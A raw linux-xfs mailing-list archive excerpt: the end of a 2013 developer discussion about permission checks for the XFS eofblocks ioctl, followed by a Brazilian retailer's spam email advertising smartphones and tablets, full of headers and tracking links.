<20130620220311.GT29376@dastard> <20130621111420.5592707e@oracle.com> <20130624003316.GH29376@dastard> <20130624091035.6274800f@oracle.com> <20130626020924.GD29376@dastard> <20130628111138.68d0b486@oracle.com> <51CDDAF0.7060501@redhat.com> <20130628162825.4fb7e4ed@oracle.com> <51CE0281.4040403@redhat.com> <20130628192238.7d8bc38c@oracle.com> X-ASG-Orig-Subj: Re: [PATCH 6/6] ioctl eofblocks: require non-privileged users to specify uid/gid match In-Reply-To: <20130628192238.7d8bc38c@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1372681029 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 06/28/2013 07:22 PM, Dwight Engen wrote: > On Fri, 28 Jun 2013 17:39:13 -0400 > Brian Foster wrote: > >> On 06/28/2013 04:28 PM, Dwight Engen wrote: >>> On Fri, 28 Jun 2013 14:50:24 -0400 >>> Brian Foster wrote: >>> >>>> On 06/28/2013 11:11 AM, Dwight Engen wrote: ... >> >> To be honest, there aren't any real users of the eofblocks command >> from userspace that I'm aware of at the moment. I added it originally >> for a poc quota implementation I was working on for gluster, but the >> primary use case for the scanning mechanism is to allow background >> clean up of files such that post-eof speculative preallocation >> doesn't hang around for too long. > > ... and there are likely to be scenarios where waiting for the timer > would be too long? > Well one can adjust the timer via the /proc file if necessary. Our use case was along the lines of ensuring prealloc was cleared up at certain points where we wanted to track space usage (using a cluster of XFS project quotas to represent a higher level quota), iirc. It's been a while since I've looked at that code... ;) >>> Maybe this permission stuff should be a separate change since it >>> isn't really related to user namespace stuff? I just happened to be >>> in the vicinity and am happy to help :) >>> >> >> Sounds reasonable to me. :) > > If you want me to code up either option, let me know. > Feel free to. :) I agree that it's separate from the userns work. I'll put it on my todo list if you don't get around to it. Brian >> Brian From dma_1636@rp.email.girafa.com.br Mon Jul 1 07:47:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 265107F55 for ; Mon, 1 Jul 2013 07:47:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 623C4AC00B for ; Mon, 1 Jul 2013 05:47:28 -0700 (PDT) X-ASG-Debug-ID: 1372682835-04cbb0468f9cbbd0001-w1Z2WR Received: from vt-0007-107.email.girafa.com.br (vt-0007-107.email.girafa.com.br [187.61.43.107]) by cuda.sgi.com with ESMTP id BogZi7ccJSnOH1xN for ; Mon, 01 Jul 2013 05:47:16 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.43.107 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=wlMFCQmzIT3eJ5ZCbhmD6yRVXfU=; b=FslCihEctJ3nzawrtUJ2Kj60z/ib2W5vGBK5WCn0ywL58AgfO6aSEjgvBCM5WOhvpLjuiSGQFJ9H swL5IRemZtJqm9vIfJdTtoiQyk/X0P2jvPK3iS0iI9zg18cQaFR8N8ASoG1A2w5rHpwt0rBRlqMW L9XTbXWa2NCIaEvjt3g= Received: by vt-0007-107.email.girafa.com.br id hq5t5e0sh70i for ; Mon, 1 Jul 2013 09:47:14 -0300 (envelope-from ) From: "Girafa" To: "" Subject: =?ISO-8859-1?Q?Android_Day:_tecnologia_de_ponta_com_os_melhores_pre=E7os.?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Android_Day:_tecnologia_de_ponta_com_os_melhores_pre=E7os.?= Content-Type: multipart/alternative; boundary="4d43eb642a2cfc1c5bc99904aa478775" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 1636-3239-644384-bb6f2f118637d86e26b57325f679babe X-DMA: 5117467 Message-ID: <0.1.AA.9C7.1CE76591CC9BD4E.1956B@vt-0007-107.email.girafa.com.br> Date: Mon, 1 Jul 2013 09:47:19 -0300 X-Barracuda-Connect: vt-0007-107.email.girafa.com.br[187.61.43.107] X-Barracuda-Start-Time: 1372682835 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135495 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --4d43eb642a2cfc1c5bc99904aa478775 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83298,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83298,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83299,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83300,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83301,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAxXzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83302,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDFfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83303,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83304,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83305,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTAxXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDFfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83306,b= b6f2f118637d86e26b57325f679babe,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wMV8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAxXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83298,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D01_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_c= ampaign=3Doferta_do_dia_01_07_13" src=3D"http://img.virtualtarget.com.br//1636/20130701/01.jpg" alt=3D"Smartphone Samsung Galaxy S III" width=3D"600" border=3D"0" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83313,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1lOTc3Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83314,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1pOTUwNSZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83315,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1wNzE0Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] i9505 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83314,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1pOTUwNSZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] P714 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83315,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1wNzE0Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone Samsung Galaxy S4 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83314,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1pOTUwNSZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone LG L7 IISingle [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83315,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Dp714&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.930,85 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83314,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di9505&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83314,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di9505&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83314,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di9505&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 703,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83315,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Dp714&marcas=3DLG&subgrupos=3D&utm_source=3D01_07_13_oferta_do= _dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83316,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di9082&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83315,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1wNzE0Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83317,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1pODE5MCZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83318,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UYWJsZXQ= vTXVsdGlsYXNlci90YWJsZXQta2lkLXBhZC1tdWx0aWxhc2VyLW5iMDQ3LXdpLWZpLTNnLTRnYi= 10b3VjaC1jb250cm9sZS1kZS1wYWlzLTEzbXAtdmVyZGUuaHRtP3V0bV9zb3VyY2U9MDFfMDdfM= TNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFp= Z249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] GT-I8190 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83317,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1pODE5MCZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] NB047 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83318,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UYWJsZXQ= vTXVsdGlsYXNlci90YWJsZXQta2lkLXBhZC1tdWx0aWxhc2VyLW5iMDQ3LXdpLWZpLTNnLTRnYi= 10b3VjaC1jb250cm9sZS1kZS1wYWlzLTEzbXAtdmVyZGUuaHRtP3V0bV9zb3VyY2U9MDFfMDdfM= TNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFp= Z249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone SamsungGalaxy S III Mini [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83317,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1pODE5MCZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Tablet Kid Pad Multilaser [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83318,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Tablet/Multilaser/tablet-kid-pad-multilaser-nb047-wi-fi-3g-4gb-touch-contro= le-de-pais-13mp-verde.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3D= Email&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 817,52 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83317,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di8190&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83319,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Tablet/Samsung/galaxy-tab-samsung-70-p3110-prata-android-40-dual-core-8gb-w= i-fi.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_01_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83317,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= pesquisa/?q=3Di8190&marcas=3DSamsung&subgrupos=3D&utm_source=3D01_07_13_ofe= rta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_0= 1_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 395,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83318,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Tablet/Multilaser/tablet-kid-pad-multilaser-nb047-wi-fi-3g-4gb-touch-contro= le-de-pais-13mp-verde.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3D= Email&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83318,b= b6f2f118637d86e26b57325f679babe,[DMA6_ENCODE_URL]https://www.girafa.com.br/= Tablet/Multilaser/tablet-kid-pad-multilaser-nb047-wi-fi-3g-4gb-touch-contro= le-de-pais-13mp-verde.htm?utm_source=3D01_07_13_oferta_do_dia&utm_medium=3D= Email&utm_content=3D&utm_campaign=3Doferta_do_dia_01_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83318,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9UYWJsZXQ= vTXVsdGlsYXNlci90YWJsZXQta2lkLXBhZC1tdWx0aWxhc2VyLW5iMDQ3LXdpLWZpLTNnLTRnYi= 10b3VjaC1jb250cm9sZS1kZS1wYWlzLTEzbXAtdmVyZGUuaHRtP3V0bV9zb3VyY2U9MDFfMDdfM= TNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFp= Z249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83320,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1zNjgxMiZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83321,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1lNDM1Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] S6812 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83320,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1zNjgxMiZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 249b2ZlcnRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] E435 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83321,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1lNDM1Jm1hcmNhcz1MRyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMTNfb2Zlcn= RhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zlc= nRhX2RvX2RpYV8wMV8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone Galaxy Fame Duos [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3239,644384,83320,b= b6f2f118637d86e26b57325f679babe,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9wZXNxdWl= zYS8/cT1zNjgxMiZtYXJjYXM9U2Ftc3VuZyZzdWJncnVwb3M9JnV0bV9zb3VyY2U9MDFfMDdfMT= Nfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ= 